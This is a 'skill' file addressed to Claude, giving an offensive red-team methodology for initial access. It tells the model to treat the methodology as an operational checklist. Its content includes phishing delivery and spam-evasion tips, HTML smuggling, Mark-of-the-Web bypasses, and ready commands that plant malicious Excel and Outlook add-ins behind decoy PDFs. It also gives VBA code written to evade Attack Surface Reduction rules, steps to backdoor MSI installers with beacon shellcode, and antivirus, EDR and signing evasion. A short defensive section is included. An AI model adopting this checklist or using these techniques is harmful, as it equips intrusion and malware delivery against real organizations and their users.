SKILL: Modern Initial Access
Metadata
Description
Initial access techniques checklist: phishing (spear/smishing), credential stuffing, exposed service exploitation, supply chain attacks, watering hole, VPN/RDP brute force, public-facing application exploitation. Maps to MITRE ATT&CK TA0001. Use when planning initial access phases of red team engagements.
Trigger Phrases
Use this skill when the conversation involves any of:
initial access, phishing, spear phishing, credential stuffing, exposed service, supply chain, watering hole, VPN brute force, RDP attack, MITRE TA0001, initial foothold
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Modern Initial Access
Introduction
Typical Initial Access Vectors
- Email with malware attached/linked
- Most attacks using attached malware won't work
- Out of the box protection may not cover
PDF, ISO, IMG, HTML, SVG, PPTM, PPSM, ACCDE
- Most URL-based attacks do work
- domain's reputation, age, category should be sound
- domain should use https
- limit number of GET elements and their names
- use HTML Smuggling to evade
- get your domain warmed up (send some legitimate emails first with no attachment and links)
- Advanced attacks may involve delivering backdoored trusted applications (e.g., older Electron apps with V8 exploits) via phishing to bypass application control like WDAC.
- Spear-phishing/ phishing / stealing valid credentials
- Check your mail with Phishious before sending it to your victim
- use decode-spam-headers to analyze returned SMTP headers
- Be aware that default Microsoft Office settings now block macros in files downloaded from the internet (marked with
MOTW). Success often requires significant social engineering to convince users to bypass these protections or using alternative delivery methods (e.g., containers that don't propagate MOTW, signed add-ins).
- images and link increase spam score, be wary of it
- don't use
no-reply like usernames
- send through
GoPhis -> AWS SOCAT :587 -> smtp.gmail.com -> @target.com
- link to websites on trusted domains, like cloud-facing resources
- make sure your webserver blocks automated bots
- Deep‑fake voice or video social‑engineering calls (help‑desk or executive impersonation) to obtain password resets or approve MFA prompts. Generative‑AI tools make cloning voices trivial.
- Business Email Compromise (BEC) / OAuth consent phishing that targets finance or vendor‑portal users, yielding cloud‑token access even where MFA is enabled.
- Malicious OneNote
.one attachments and OneDrive "Add to Shortcut" abuse: embedded HTA/JS payloads bypass Office macro blocking and spread via cloud sync.
- Excel blocks untrusted Internet-origin XLL add-ins by default (M365, 2023+). Smuggled XLLs inside containers may still be blocked once MOTW propagates.
- Malicious browser extensions (Chrome, Edge, Firefox) delivered through fake Web Store listings; hijack session cookies or inject scripts into authenticated SaaS sessions.
- attackers register malicious cloud apps and trick users into granting scopes, giving token-based access that bypasses MFA
- Reusing stolen credentials against external single factor VPN, gateways, etc
- Password Spraying against Office365, custom login pages, VPN gateways
- Exposed RDP with weak credentials and lacking controls
- Unpatched known vulnerable perimeter device, application bugs, default credentials, etc
- Rarely HID-emulating USB sticks
- WiFi Evil Twin -> Route WPA2 Enterprise -> NetNTLMv2 hash cracking -> authenticated network access -> Responder
- Plugging into on-premises LAN -> Responder/mitm6/Ldaprelayx
- SEO poisoning / paid‑search malvertising (e.g., fake PuTTY & WinSCP ads, dominant loader delivery 2024–25) and "quishing" PDFs whose QR codes redirect victims to mobile OAuth login pages
- Consent‑/token‑phishing and Adversary‑in‑the‑Middle (AiTM) proxy kits that steal OAuth session cookies or proxy MFA (e.g., EvilProxy, Tycoon, Dadsec). These vectors bypass MFA by tricking users into granting access to rogue Azure AD / Google Workspace apps.
- Supply‑chain compromise of developer ecosystems:
- malicious NPM / PyPI typosquat packages
- poisoned GitHub Actions or CI/CD secrets exfiltration
- container‑registry deception (imageless Docker Hub repos or
curl | bash installers).
- First contact often occurs on developer workstations.
- Mass‑exploited perimeter and edge‑device zero‑days (e.g., Ivanti Connect Secure (such as CVE-2023-46805, CVE-2024-21887), MOVEit Transfer (such as CVE-2023-34362), Citrix Bleed) enabling unauthenticated remote code execution before credentials come into play. Maintain a live "current CVEs exploited‑in‑the‑wild" table and apply virtual patching/WAF rules where upgrades lag.
- Cloud & Kubernetes misconfigurations:
- exposed S3 buckets allowing upload‑then‑execute objects
- SSRF into EC2 IMDSv1 or GCP metadata to steal instance credentials
- open Kubernetes API/Argo CD dashboards, and leaked Azure SAS tokens that grant cross‑tenant data extraction.
- OIDC Workload Identity Federation exposed: stolen GKE/EKS service‑account tokens grant cross‑cluster privilege escalation.
- AWS STS credentials embedded in shareable URLs (
GetFederationToken, presigned S3, etc.) leak temporary keys to attackers.
- Mobile initial‑access vectors:
- smishing or WhatsApp/Telegram lures
- QR‑code invoice/resumé phishing that lands on mobile browsers
- rogue Mobile Device Management (MDM) enrolment profiles granting full device admin.
- Passkey/WebAuthn phishing pages that spoof the biometric prompt to hijack FIDO sessions.
- Sideload invitations via fake Apple TestFlight or Test Fairy links deliver malicious iOS/Android apps outside official store review.
- Collaboration‑app abuse:
- malicious Microsoft Teams/Slack/Discord apps with overbroad OAuth scopes
- slash‑command token vacuum
- SharePoint Framework (SPFx) app sideloading
- Discord/Telegram CDN links hosting first‑stage binaries.
- If WinRM over HTTPS (WinRMS, port 5986) is enabled (it's not by default) and its Channel Binding setting remains at the default "Relaxed", it becomes vulnerable to NTLM relay attacks. Relayed credentials (e.g., from coerced HTTP/SMB/LDAP) can grant RCE. Ironically, enabling WinRMS to "harden" a system by disabling HTTP WinRM (port 5985, which is relay-resistant due to internal encryption) can introduce this vulnerability. Key technical details:
- Standard WinRM (port 5985) uses HTTP with SPNEGO; channel binding is enabled by default, so NTLM relay fails unless the attacker controls TLS.
- WinRMS (port 5986) runs over HTTPS; if
CbtHardeningLevel is not set to Strict, credentials can still be relayed despite TLS.
- Channel Binding (CBT) can be set to None (disabled), Relaxed (optional), or Strict (required)
- Mitigation:
winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'
- Prefer Kerberos or certificate-based auth for WinRM; monitor and reduce NTLM usage.
- Exploiting misconfigured Power Platform services (e.g., Power Apps with overly permissive shared connections or abusing Power Query for native SQL execution against on-prem data gateways).
Command & Control
- Use a two-stage Mythic C2 as our command and control
- Stage one should be lean and hard to detect, it would be used for situational awareness
- Merlin for Linux (no upstream commits since 2023, still functional)
- Poseidon + Apfell for macOS
- Apollo in shellcode form for Windows
- to get rid of apollo console
- open it via
detect-it-easy, select pe and uncheck readonly
- then select
WINDOWS_GUI in Subsystem inside IMAGE_OPTIONAL_HEADER
- also notice apollo is a 32-bit executable
- also checkout Nimplant or others
- Nighthawk
- Stage two should be in-memory, inline-execute and feature reach
- Nighthawk, Cobalt Strike, etc
Exec/DLL to SHELLCODE
For detailed information on converting executables and DLLs to shellcode, including:
- Embedding shellcode into loaders
- Backdooring legitimate PE executables
- Tools like Donut, sRDI, Pe2shc and Amber
- Open-source shellcode loaders like ScareCrow and NimPackt-v1
See the Shellcode documentation.
EDR Evasion Techniques
For detailed information on EDR evasion techniques, including:
- Malware Virtualization
- API Unhooking
- Early Cascade Injection
- Killing Bit techniques
- Call Stack Obfuscation
- Sleep Obfuscation
See the EDR Evasion documentation
Modern CyberDefense Stack
- Secure Email Gateway / Email Security
- FireEye MX
- Cisco Email Security
- TrendMicro for Email
- MS Defender for Office365
- Secure Web Gateway
- Symantec BlueCoat
- PaloAlto Proxy
- Zscaler
- FireEye NX
- Secure DNS
- Cisco Umbrella
- DNSFilter
- Akamai Enterprise Threat Protector
- AntiVirus
- McAfee
- ESET
- Symantec
- BitDefender
- Kaspersky
- EDR
- CrowdStrike Falcon
- MS Defender for Endpoint
- SentinelOne
- VMware Carbon Black
Defensive quick‑wins
- Email/web controls
- Enable Microsoft Defender for Office 365 Safe Links and Safe Attach (or vendor equivalent).
- Block direct download of executable formats; detonate unknowns in sandbox.
- Office hardening
- Keep "Block macros from the Internet (MOTW)" enforced; prefer trusted locations.
- Block XLL add‑ins, unsigned COM add‑ins, and legacy Excel 4.0 macros
- ASR rules: Block Office child processes; Block Win32 API calls from Office; Block executable content from email and webmail; Block credential stealing from LSASS.
- Browser/extension control
- Enforce extension allowlists (Chrome/Edge/Firefox policy); disable developer mode on managed devices.
- Identity & auth
- Enforce MFA; restrict OAuth app consent (publisher verification + admin consent workflows); tenant restrictions.
- Prefer phishing‑resistant MFA (FIDO2/CTAP); block legacy/basic auth; monitor device‑code flow abuse.
- Endpoint policies
- WDAC/Smart App Control or application allow‑listing for untrusted installers (MSI/MSIX/ClickOnce).
- Monitor and restrict PowerShell Constrained Language Mode exceptions; log script block.
- For WinRM: prefer Kerberos/certificate auth; set WinRMS channel binding to Strict:
winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'.
Security Controls Evasion
Perimeter Defense Evasion
Secure Web Gateway
- sensitive on
- Domain characteristics
- URL-fetched contents (HTML, body, javascript)
- MIME types (where file type is allowed or not)
- can be evaded via
- high reputation servers (cloud instances)
- HTML smuggling
Secure DNS
- sensitive on
- Domain categorisation, maturity,
whois examination
- Presence on real-time blocking lists, threat intelligence feeds, virustotal-alike databases
- SSL/TLS certificate contents
- can be evaded via
- high reputation domains (Domain fronting CDN like azure edge CDN, Cloud-based resources like AWS lambda or azure blob storage, personal cloud drives)
- use Talos Intelligence to check reputation
- AWS is dumber than Azure, use it
Endpoint Defense Evasion
Antivirus
- sensitive on
- static signatures
- heuristic signatures
- behavioural signatures
- trigger events
on-demand -> on-write -> on-access -> on-execute -> real-time
- proactive protection of them is weaker due to low false-positive, low impact and high stability requirements
- before-exec: mainly cloud-reputation based examination
- before-exec: machine learning evaluation focusing on hand-picked characteristics
- on-exec: simulating entry point and first N instructions
- on-exec: memory scanner sweeping process virtual memory allocations for presence of signatured threats
- steps
- static analysis
- heuristic analysis
- cloud reputation analysis + automated sandboxing / detonation
- ML analysis
- emulation
- behavioural analysis
- can be evaded via
- static analysis by writing custom malware
- heuristic analysis by smartly blending-in with our payload
- cloud reputation by backdooring legitimate binaries, devising malware in containers (PDF, Office docs), sticking to DLLs
- automated sandboxing by environmental keying (only execute if something)
- ML analysis by trial and error, hard to combat
- emulation by time-delaying, environmental keying
- behavioural analysis by
- avoiding suspicious WinAPI calls
- acting low-and-slow instead of all-at-once
- unhooking/direct syscalls may work
EDR Evasion Techniques
For detailed information on EDR evasion techniques, including:
- Malware Virtualization
- API Unhooking
- Early Cascade Injection
- Killing Bit techniques
- Call Stack Obfuscation
- Sleep Obfuscation
- Telemetry obfuscation
- Persistence strategies
- Event correlation evasion
See the EDR Evasion documentation.
Windows Defender Bypass Techniques
For detailed information on Windows Defender bypass techniques, including ASR bypasses and custom detection rules evasion, see the EDR Evasion documentation.
Hosting Payloads
- Server Hosting our Payload must
- Look benign, best if commonly used for file hosting
- Have SSL/TLS certificate signed by trusted authority
- Hard to be blocked by target (cloud based)
- Example
- Cloud-based file storage: Office365 OneDrive, SharePoint, AWS S3, MS Azure Storage, Google Drive, FireBase Storage
- CDN: Azure Edge CDN, StackPath, Fastly, Akamai, Google Cloud AppSpot, HerokuApp
- Serverless Endpoints: AWS Lambda, CloudFlare Workers, DigitalOcean Apps
- use LOTS Project for help
- use LOLBINS
- prefer DLL over EXE
- indirect execution to circumvent EDR/AV
- DLL Side-Loading / DLL Hijacking / COM Hijacking / XLL
- check Microsoft Block Rules to better circumvent defender
Infection Vectors and Chains
Classic File Infection Vectors
MAC
- initial access is getting harder, for example for MAC you can still bypass
- Unsigned apps (gets through with few clicks)
- Office Macros +
.SLK Excel4 macros (constrained by gatekeeper)
- you can use Mystikal
- Use
LNK, CHM, CPL, DLL, MSI, HTML, SVG; hold Office w/macros, ISO, VHD, XSL.
Windows Script Host
- VBE, VBS, JSE, JS, XSL, HTA, WSF
- Mostly well detected and subject to AMSI detection. Effectiveness significantly reduced for Office macros due to default security settings blocking macros from the internet (
MOTW).
- Viable strategies for WSH scripts (often requiring MOTW bypass or user interaction):
- File Dropper
- download a file from internet/ UNC share or unpack from itself
- save the file onto workstation
- run the file directly/indirectly via LOLBIN
- DotNetToJScript / GadgetToJScript
- a way to deserialize and run
.NET executables in-memory
- use BinaryFormatter to deserialize them
- XSL TransformNode
- simple technique to run XSL/XML files in-memory while maintaining low IOC footprint
- XLAM Dropper
- Macro-enabled excel add-in file
- when dropped to
%APPDATA%\Microsoft\Excel\XLSTART, they are auto-executed when starting excel
- Microsoft Compiled Help Messages
- can be used to run a system command whenever user browses into them
- some used to run VBS or quietly install MSI
- LNK
- EXE/ZIP embedded into LNK
- can be polyglot-ted with
HTA/ISO/PDF/ZIP/RAR/7z
- use icons to weaponize, inspect with LEcmd to make sure not disclosing MAC & hostname
- always run through a LOLBIN like
conhost.exe
- HTML Smuggling
- body
onload callback
- optional
setTimeout delay or direct entrypoint call
- embedded payload footprint
- actual logic
- create a JavaScript
Blob object holding raw file data
- if operating on IE use
msSaveOrOpenBlob
- else, create a dynamic
<a style="display:none"></a> HTML node
- invoke
URL.createObjectURL() and set <a href="...">
- set download name via
<a>.download
- programmatically click the anchor to trigger the download
- use detect-headless to identify sandboxes
- run anti-headless logic after some time elapses
- Can bypass most secure gateways, but the downloaded file (e.g., ISO, ZIP, LNK, document) still faces endpoint scrutiny. If the smuggled file relies on macros (e.g.,
.docm), it will likely be blocked by default Office security unless the user explicitly enables content.
- COM Hijack
- every VBA strategy requires launcher and often needs to overcome default macro security blocks:
WScript.Shell
WMI Win32_Process::Create
Shell(...)
- etc
Complex Infection Chains
Containerized Malware
- Files downloaded from internet have Mark of the Web(
MOTW) taint flag
- Default Behavior: Office documents having
MOTW flag have their macros blocked by default, preventing automatic execution. This is a major mitigation against traditional macro-based attacks.
- You can download it from intranet or trusted locations to circumvent this (less common for initial access).
- Some container file formats do not propagate
MOTW flag to inner files when extracted, providing a potential bypass:
[!Note]
(Windows 11 22H2+): ISOs opened via double-click in Explorer inherit MOTW. Using Mount-DiskImage via PowerShell typically avoids propagation; validate on your build.
Chains Recipe
- In‑the‑wild sample
- Spear-Phishing
- Link in mail or Link in PDF
- HTML Smuggling drops ISO or ZIP
- ZIP contains
RTLO‑tricked .EXE disguised as .PDF being legit 7‑Zip executable
.PDF.EXE when clicked, sideloads benign vcruntime140.dll that imports evil 7za.dll
- ISO contains
LNK + DLL
.LNK runs rundll32 evil.dll,SomeExport
- Delivery - convey your chain (HTML smuggling drop in drive-by download fashion)
- Container - archive bundling all infection files
ISO/IMG/ZIP can contain hidden files
- Trigger - some way to run our payload (
LNK/CHM)
- Payload - our malware
- Note: Macro-enabled office documents (
.docm, .xlsm) are less reliable for initial execution due to MOTW blocks unless combined with social engineering or specific bypasses.
- can be macro-enabled office document with
MOTW stripped (e.g., delivered inside a container like ISO/VHD)
DLL/CPL/XLL to be loaded by trigger directly or indirectly with LOLBIN (XLLs also subject to MOTW blocking if downloaded directly)
XLAM to be copied to XLSTART for persistence & abusing office trusted path
MSI/MSP to run during silent installation (MOTW stripped)
VbaProject.OTM for outlook persistence
.EXE + .DLL executing through side-loading attack
- Decoy - keep your victim happy by displaying some interesting stuff
Successful Strategies
# plant evil.xlam to %APPDATA%\Microsoft\Excel\XLSTART so that next time user opens up Excel it will get loaded
cmd /c echo f | xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART | decoy.pdf
# Plant VbaProject.otm to %APPDATA%\Microsoft\Outlook\VbaProject.OTM and alter registry so upon outlook restart VBA will be loaded and act on every new email arrived
cmd /c reg add hkcu\software\micorosft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf
# corrected HKCU path
cmd /c reg add hkcu\software\microsoft\office\16.0\outlook\security /f /v Level /t reg_dword /d 1 | echo f | xcopy /Q/R/S/Y/H/G/I evil.xlam %APPDATA%\Microsoft\Outlook\VbaProject.OTM | decoy.pdf
# your ZIP/ISO/IMG will contain signed executable prone to DLL Hijacking/side-loading and appropriate malicious DLL
cmd /c DISM.exe | decoy.pdf
# load .DLL through LOLBIN
cmd /c rundll32 evil.dll,Infect | decoy.pdf
# LNK/CHM that runs PowerShell to locate own .ZIP, then unpacks ZIP contents elsewhere then changes dir into there, then registers .XLL (having stripped MOTW)
# ClickOnce deployment requires several local files; bundle into ZIP/ISO, hide them, then deploy ClickOnce followed by opening decoy.pdf
# PowerShell might use Unblock-File on .MSI and then silently install it
powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi ; .\decoy.pdf
# install signed MSI and apply an unsigned MST
powershell msiexec /q /i .\Zoom-signed-installer.msi TRANSFORMS=evil.mst ; .\decoy.pdf
# run WSH script
cmd /c wscript evil.wsf | decoy.pdf
# LNK/CHM that runs PowerShell to locate its own ZIP, then unpacks ZIP contents elsewhere, changes directory and runs tasks (e.g., deploy ClickOnce)
VBA Infection Strategies
- Important Note: The effectiveness of traditional VBA macro execution on document open (
AutoOpen, Document_Open) is significantly diminished due to Microsoft's default security policy blocking macros in files downloaded from the internet (MOTW). Successful execution often requires social engineering to have the user explicitly trust the document/location or alternative execution methods (like COM hijacking triggered later, Add-Ins, etc.).
Alt+F11IM - quickly inserts VBA module into a document
- abuse path
- execute
- file dropper
- COM hijack
- DotNetToJScript
- use of WinAPI is strongly inadvisable due to detection
GetUserNameA might be fine but things like CreateProcessA is a big no-no
AutoOpen,Document_Open, etc can be used to auto-run our script
Attack Surface Reduction Rules
Execute
- Most basic strategy is to simply run some command with LOLBIN. Subject to macro execution policies.
- Avoid running immediately; prefer persistence. Consider COM/DLL hijacking and always use LOLBINs.
- useful ones
Wscript.Shell.Exec - prefix with obf_ to facilitate later obfuscation
InvokeVerbEx - evades detection but sometimes doesn't work with LOLBIN
RDS.DataSpace - supposed to be obsolete, but still works
- use AMSITools to review AMSI events
# evade ASR
CreateObject("WScript.Shell") == CreateObject("new=72C24DD5-D70A-4388-8A42-98424B88AFB8")
# full sample to evade ASR
Sub obf_LaunchCommand(ByVal obf_command As String)
On Error GoTo obf_ProcError
Dim obf_launcher As String
Dim obf_cmd
With CreateObject("new:72C24DD5-D70A-4388-8A42-98424B88AFB8")
With .Exec(obf_command)
.Terminate
End With
End With
obf_ProcError:
End Sub
# RDS.DataSpace
Sub obf_LaunchCommand(ByVal obf_command As String)
On Error GoTo obf_ProcError
Dim obf_objOL, obf_shellObj
Set obf_objOL = CreateObject("new:BD96C5566-65A3-11D0-983A-00C04FC29E36")
Set obf_shellObj = obf_objOL.CreateObject("Shell.Application", "")
obf_shellObj.ShellExecute obf_command
obf_ProcError
End Sub
DotNetToJScript
DotNetToJScript - runs .NET assemblies in-memory through Assembly.Load. Still requires the initial VBA/JScript execution, which is often blocked.
File Dropper
- Deadly as long as AV/EDR not detect our dropped payload
OnWrite. The initial macro execution to drop the file is the primary hurdle due to default security.
- files can be pulled from
- internet
- office file structures
- inside VBA code itself - not good
COM Hijack
- Plants dodgy COM server via registry key in
HKCU that overrides HKLM system defaults. This is a persistence/later execution technique, bypassing the initial macro block issue, but the initial planting still needs to occur.
- create registry key structure using VBA
- drop a DLL file to HDD
- wait until system/application picks that COM object up and instantiate it
- beware your DLL might be executed hundreds time per minute
- implement single-instance / single-run logic
- don't hijack
MMDeviceEnumerator, user sees issues
- use
CacheTask -> {0358B920-0AC7-98F4-58E32CD89148}
- learn more here
Lures
- Present plausible pretext that gets removed after macros run ( like
docusign or adjust to your version). Modern lures often need to convince the user to click "Enable Content" or move the file to a trusted location.
- we can leverage shapes (images, text boxes, macro cycles through them)
- big blob of shellcode embedded in VBA stands out
- we can use
- shellcode or commands in document properties
- word variables
- word/excel/powerpoint parts
- VBA forms
- spreadsheet cells
- Word
ActiveDocument.Paragraphs
Alternative AutoRuns
- Proxy sandboxes like
Zscaler are sensitive to Auto_Open(), that might give away our maldoc. These autoruns are also subject to the default macro blocking policies.
Workboot_SheetCalculate += RAND() might be useful
- MS Word Remote Templates are a good choice as well
- Office offers customizing ribbon based on
CustomUI XML; we can abuse the onLoad part as well
- ActiveX controls can be inserted into document, but will be called a lot so keep it simple. Also subject to security controls.
Exotic VBA Carriers
- MS Office
- Access
.accde, .mdb, PowerPoint, Publisher .pub
- Visio
.vsdm, Visio97 .vsd , MS Project .mpp
- Publisher RTF files
- Outlook
ThisOutLookSession, VBAProject.OTM
- SCADA Systems
- Siemens SIMATIC HMI WinCC
- General Electric HMI Scada iFix
- IGSS schneider-electric
- CAD Software
- VBA Module for AutoCAD / VBA Manager in AutoCAD 2021
- ProgeCAD Professional
- SOLIDWORKS
.swp,.swb VBA Project files
- DS CATIA V5
- Bentley MicroStation CONNECT
.MVBA files
- Others
- ArcMap
.MXT files
- Oscilloscopes Keysight E5071C Network Analyzer
- TIBCO Statistica Visual Basic
.SVB analysis configuration
- Rocket Terminal Emulator
- MicroFocus InfoConnect Desktop
VBA Stream Manipulation
- VBA macros are stored in
vbaProject.bin OLE stream modules
- each module consists of
PerformanceCache - compiled VBA code, office version specific
CompressedSourceCode - compressed VBA with MS proprietary algorithm
- VBA Stomping relies on the fact that Office prefers executing
PerformanceCache if its version matches, so we can use malicious performance cache and innocuous compressed code. Detection for stomping has improved, and the macro execution itself is still subject to security policies.
EvilClippy offers other useful features as well
- Hide VBA from GUI
- Remove metadata stream
- Set random module names
- Make VBA Project unviewable/locked
EvilClippy.exe -s fakecode.vba -t 2016x8666 macrofile.doc
- VBA Purging
- removes
PerformanceCache from module and _VBA_PROJECT streams
- changes
MODULEOFFSET to 0
- removes all
__SRP_# streams
- this removes strings representing VBA code parts, lowering detection potential
Evasion Tactics
- Uglify - remove empty lines, add random indentation, insert garbage code & comments
- Rename variables and function/sub names
- Randomize functions order
- Obfuscate strings
- Avoid overly long lines
- Payload obfuscation is trickier
- use VisualBasicObfuscator
- Sandbox Evasion
- detect if running in sandbox environment, don't run any further. Doesn't bypass the default user-facing macro block.
- validation of username/domain
- uptime check
- internet-exposed IPv4 geolocation & reverse‑PTR
- weaker stuff (hardware,process list, NIC MAC addresses)
- Office Files Encryption
- Powerful evasion technique against static analysis but does not bypass the runtime macro execution blocks based on
MOTW.
- Office documents can be password-protected / encrypted
- Excel always tries hardcoded password value of
VelvetSweatshop
- Powerpoint always tries
/01Hannes Ruescher/01
- use
msoffice-crypt.exe
- Office trusted path + AMSI evasion
- Relies on getting the file into a trusted path first, bypassing the initial MOTW block.
- requires disabling/patching optics
- sometimes works
- checkout zip motw for a sample MOTW evasion
MSI Shenanigans
Installation
- MSI installer can be built with WiX toolset, which brings us several properties
- there is a
<CustomAction> tag letting us run .DLL, .EXE, .VBScript/Jscript
- After installation we can safely uninstall MSI, leaving no trace on HDD
- Can run
- inner
VBScript/JScript in-memory
- inner
.NET assembly in-memory
- inner
EXE file by extracting it to C:\Windows\Installer\MSIXXXX.tmp
- when running
EXE, parent-child relationship gets dechained into wininit.exe -> services.exe -> msiexec.exe -> MSIxxxx.tmp
Types
.MSI - compound storage file format comprising of a set of databases structured in OLE format
.MSP - Windows installer patch file
.MSM - Windows merge module installer's file (not usable)
.MST - Windows installer transformation file
- Files are stored in
.CAB archives, that are bundled into MSI media table
- To extract contents from
.MSI we can use lessmsi, ORCA or msidump
ORCA & MSISnatcher lets us backdoor existing MSI file
Manual
- compile
WXS into WIXOBJ
- links
WIXOBJ into MSI
wix\candle.exe project.exs x64
light.exe -ext WixUIExtension -cultures:en-us -dc1:high -out evil.msi project.wixobj
- use
rogue-dot-net\generateRouteDotNet.py to compile custom .NET DLL based off shellcode
- create self-exctractable, standalone
.NET CustomAction DLL with WiX MakeSfxCa
- compile
WXS into WIXOBJ
- link
WIXOBJ into MSI
python generateRogueDotNet.py -M --dotnet-ver v2 -t plain -s CustomAction -n CustomActions -m MyMethod -r -c x64 -o CustomAction.dll beacon64.bin
MakeSfxCA.exe CustomAction.CA.dll x64\sfxca.dll CustomAction.dll wix\Microsoft.Deployment.WindowsInstaller.dll
candle.exe project.wxs -arch x64
light.exe -ext WixUIExtension -cultures:en-us -dc1:high -out evil.msi project.wixobj
evil.msi /q && sleep 5 && msiexec /q /x evil.msi
Backdoor Existing MSI
- we can add rows to existing MSI thus backdooring it
- Interesting Fields
- Binary - table that holds binary data in-memory during MSI installation
- CustomAction - actions to perform pre/post installation
- InstallExecuteSequence - sequence-ordered list of actions that take place during installation
- File - files to be extracted into system
- Component - describes into which directory should file be extracted
- Media - CAB files inside of MSI
- Registry - Contains all registry keys & values to be created
- Shortcut - scatters LNK all around the system
- Process
- copy
putty-installer.msi to backdoored.msi
- open
orca.exe and open backdorred.msi inside it
- tables -> CustomAction -> right click -> add row ->
Action=whatever1, type=1250, source=INSTALLDIR, target=calc
- tables -> InstallExecuteSequence -> sort tables by
Sequence column -> add row -> Action=whatever1, condition= NOT REMOVE, sequence = 6599
- file -> save as ->
backdoored.msi
- test it
- we can automate the process using
MSISnatcher
Windows App Package Format
.MSIX which supersedes .MSI by enforcing publisher authentication via code signing certificate
- installed
.APPX/.MSIX goes into %ProgramFiles%\WindowsApps\<PublisherName>.<AppName>_<AppVersion>_<Arch>_<Hash>
- extensions
MSIX the zip of signed installation package
APPX a directory containing EXECUTABLES/Program, .AppxManifest.xml, [Content_Types.xml], assets, icons, other files
APPXBUNDLE, MSIBUNDLE contains .APPX/.MSIX and other files
APPINSTALLER - XML file pointing towards .APPXBUNDLE or .MSIX installers
- deployment
- double-click
- windows store
- browsing a website with
ms-appinstaller link
- via PowerShell
Add-Package -Path .\evil.appx
- via remote host through
DCOM - checkout ProvisionAppx
- a static Azure blob storage website -> HTML with
ms-appinstaller URL handler -> use a signed binary (179$)
Executables
Basics
Static Detection
- Static Detection is simplest to evade, simply use packers
PE Protector - encrypt & anti-debug/anti-x
PE Compressor - reduce the file size
.NET Obfuscators - protect IP, symbol names, strings
Script Obfuscators - VBA/VBScript, PowerShell, BAT
Virtualizers - translate input PE executable machine code into custom VM
Executable Signers - steal genuine EXE certificate + properties and apply on implant
Resource Editors - remove Icon, version information
Shellcode Loaders - load shellcode in a stealthily
Shellcode Encoders - Shikata Ga Nai
- you can use ProtectMyTooling for various packers
- Note on Online Scanners: While services like AntiScan.Me can give an initial idea of detection rates, they don't replace testing against a local, isolated machine representative of the target environment. Defenses like Windows Defender may behave differently in a real system compared to online sandboxes.
- Targeted Evasion: Aiming for a universal "0 detection rate" can be time-consuming. It's often more effective to gather intelligence on the target's specific security solutions and focus evasion efforts accordingly.
Offensive CI/CD Pipeline
- RedTeam Malware Development
- Test Stability, Reliability, Security
- Artifact Obfuscation
- Test Against Offline EDR
- Watermarking & IOC Collection
- Operational Use
- Implant Tracking in Threat Intelligence Feeds
PE Backdoor
- Inject Shellcode Into Legitimate Executable
- middle of current code section
- into separate section
- Redirect Execution
- change
AdressOfEntryPoint
- Hijack branching call
JMP, CALL
- TLS Callback
- Sign it With Self-signed/Custom Authentication
LimeLighter
Mangle
ScareCrow
osslsigncode.exe
- Spoofed Certificates: Signing an implant, even with a spoofed or invalid certificate, can sometimes reduce detection by AVs that don't thoroughly validate the certificate chain. However, be aware of potential legal consequences.
- Timestamping: The choice of Time Stamp Authority (TSA) server when signing can also unexpectedly influence detection rates by different AV products.
PE Watermarking
- Keep Track of implant/malware/IOC
- Inject Custom Watermark to Payloads and Poll VirusTotal
- Where to Inject
- DOS Stub
- PE Header Properties: TimeStamp, Checksum
- Overlay
- Additional PE Section
- Resources: Version Information, Manifest
- What Should it Look Like
- Random SHA256 might be enough
- Encrypted engagement metadata
PE Attribute Cloning and Code Signing Considerations
- Cloning Attributes: Copying file attributes (version information, icons, product names, original filenames, etc.) from legitimate binaries can help an implant blend in.
- When cloning, choose binaries that are legitimately present and commonly used on the target system. For instance, cloning an iTunes binary for a Windows Server target would be suspicious.
- Consider cloning attributes from unsigned legitimate Windows binaries (e.g.,
at.exe) and not signing the implant. This may be more effective than cloning a signed binary (like RuntimeBroker.exe) and then signing the implant with a spoofed certificate, especially if the EDR/AV can easily verify signatures of its own system's binaries.
- Testing is Crucial: Always test cloned and/or signed implants on a system mimicking the target environment, as behavior can differ significantly from online scanning services.
Shellcode
For detailed information on shellcode loaders, techniques, and implementation, including:
- Allocation, write, and execution phases
- Local vs remote injection
- Methods to hide shellcode
- Storage solutions (including Certificate Table approach)
See the Shellcode documentation.
Formats
EXE
- use
EV Cert code signing if you can afford it
- otherwise self-signed
LimeLighter,ScareCrow,osslsigncode
DLL
- typical no subject for prevalence/reputation score
- offer delayed & de-chained execution primitives
- not visible in process list
- facilitate DLL hijacking attacks
- can be used by
LOLBIN
- cleanup is hard, to remove first need to exit threads and then free that library
- call
kernel32!FreeLibraryAndExitThread when your evil DLL execution is done
- keep
DLLMain as simple as possible, or better don't used it at all, use the bullet point below
- DLL hijacking/proxying/side-loading/planting/search-order hijacking to evade detection
- use Spartacus or Crassus for DLL Hijacking automation
- for DLL Side-Loading use
Frida+WFH,Koppeling, Siofra or Spartacus and Crassus
- Beware MS Defender might trigger on DLL Side-Loading/Hijacking
CPL
- control panel applet
- double-clickable
WLL
- word add-in
- not double-clickable
XLL
- excel add-in
- double-clickable
- if has
MOTW gets blocked
Additional Evasion Techniques
For detailed information on EDR evasion techniques, including:
- String obfuscation
- Entropy manipulation and file bloating
- Time-delayed execution
- Sandbox detection and environmental keying
- AMSI and ETW evasion
- Call stack obfuscation
- DripLoader technique
See the EDR Evasion documentation.
Emerging Initial-Access
- Cloud identity & OAuth token theft (AiTM proxy kits, consent phishing, pass‑the‑cookie).
- MFA fatigue / prompt bombing.
- Exploiting edge devices & perimeter zero‑days (Ivanti, Citrix, Fortinet, Atlassian, etc.).
- Third‑party package & CI/CD compromise
…(truncated)
